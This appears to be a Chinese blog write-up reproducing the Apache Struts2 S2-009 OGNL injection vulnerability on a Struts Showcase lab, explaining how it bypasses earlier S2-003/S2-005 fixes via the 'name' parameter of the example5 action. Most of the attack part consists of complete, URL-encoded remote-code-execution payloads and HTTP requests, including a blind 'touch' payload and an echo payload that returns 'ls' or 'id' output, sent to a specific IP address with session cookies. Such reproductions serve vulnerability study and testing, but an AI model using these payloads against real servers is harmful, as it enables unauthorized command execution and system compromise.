影响版本: 2.1.0 – 2.3.1.1

Struts2对s2-003的修复方法是禁止#号,于是s2-005通过使用编码\u0023\43来绕过;于是Struts2对s2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。

但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法来执行它,从而绕过官方对#\等特殊字符的防御。

测试环境是一个struts2的“功能展示”网站Struts Showcase,代码很多,我们的目标是去找一个接受了参数,参数类型是string的action。

先对S2-009.war进行解压(我用binwalk,其实直接zip就可以),可见源码都在WEB-INF/src目录中,我一般找ajax相关的代码,这些代码一般逻辑比较简单。

找到一个WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java

public class Example5Action extends ActionSupport {

    private static final long serialVersionUID = 2111967621952300611L;

    private String name;
    private Integer age;


    public String getName() { return name; }
    public void setName(String name) { this.name = name; }

    public Integer getAge() { return age; }
    public void setAge(Integer age) { this.age = age; }

    @Override
    public String execute() throws Exception {
        return SUCCESS;
    }
}

代码没有更简单了,其接受了name参数并调用setName将其赋值给私有属性this.name,正是符合我们的要求。然后去WEB-INF/src/java/struts-ajax.xml看一下URL路由:

<package name="ajax" extends="struts-default">
    ...
    <action name="example5" class="org.apache.struts2.showcase.ajax.Example5Action">
        <result name="input">/ajax/tabbedpanel/example5.jsp</result>
        <result>/ajax/tabbedpanel/example5Ok.jsp</result>
    </action>
    ...
</package>

name=example5,所以访问http://your-ip:8080/ajax/example5.action即可访问该控制器。按照原理中说到的方法,将OGNL利用代码放在name参数里,访问该URL:

GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%[email protected]@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1
Host: 188.40.189.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ECS[visit_times]=2; lang=zh-CN; has_js=1; ECS_ID=7ad6d31398e1424ba25ada22c6a75360d8b9de91; i_like_gitea=fb9d9391b26c39d0; zbx_sessionid=9a280be3024b7e5dbb74b5fcd5f62d83; PHPSESSID=071iqkp4k4tierhdosl431ol90; redirect=1
Upgrade-Insecure-Requests: 1

由于该POC没有回显,所以调用的是touch /tmp/success命令,查看/tmp目录发现已经成功:

带回显payload

age=12313&name=(#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+#_memberAccess["allowStaticMethodAccess"]=true,+#[email protected]@getRuntime().exec('ls').getInputStream(),#b=new+java.io.InputStreamReader(#a),#c=new+java.io.BufferedReader(#b),#d=new+char[51020],#c.read(#d),#[email protected]@getResponse().getWriter(),#kxlzx.println(#d),#kxlzx.close())(meh)&z[(name)('meh')]

编码后完整的url

http://188.40.189.134:8080/ajax/example5??age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
GET /ajax/example5??age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]  HTTP/1.1
Host: 188.40.189.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ECS[visit_times]=2; lang=zh-CN; has_js=1; ECS_ID=7ad6d31398e1424ba25ada22c6a75360d8b9de91; i_like_gitea=fb9d9391b26c39d0; zbx_sessionid=9a280be3024b7e5dbb74b5fcd5f62d83; PHPSESSID=071iqkp4k4tierhdosl431ol90; redirect=1
Upgrade-Insecure-Requests: 1

大概就这些……

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...